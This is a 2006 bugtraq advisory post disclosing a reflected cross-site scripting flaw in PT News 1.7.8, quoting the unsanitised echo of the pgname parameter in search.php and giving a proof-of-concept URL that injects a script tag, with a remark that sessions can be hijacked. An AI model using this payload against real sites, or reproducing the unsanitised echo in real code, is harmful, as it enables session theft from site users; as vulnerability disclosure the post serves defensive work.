bugtraq - PT News 1.7.8 (Search.php) XSS Vulnerability

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Date: 18 Sep 2006 19:07:41 -0000
From: Snake.Apollyon@...oo.com
To: bugtraq@...urityfocus.com
Subject: PT News 1.7.8 (Search.php) XSS Vulnerability

PT News 1.7.8 (Search.php) XSS Vulnerability
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PT News
Version: 1.7.8
Website URL:http://www.openbg.net/ptsite/
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Discoved by Snake 
[Unkn0wn Security Researcher]
The original article can be found at: http://unkn0wn.awardspace.com/security/articlZ.php
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Un3ecure Digital Security Team
Gr33tZ t0 :Zer0c00l - Mr.2s - chester - 0.1 - Pc Er0r  - Street Shark
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Vulnerable code is in Search.php 
in line 12 :
  <? echo $pgname; ?>
the varible no check input value and echo every code
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Ex:
http://127.0.0.1/ptnews-1.7.8/search.php?pgname=<Script>alert('Snake was Here!!')</script>
You can execute your code and hijack Session.
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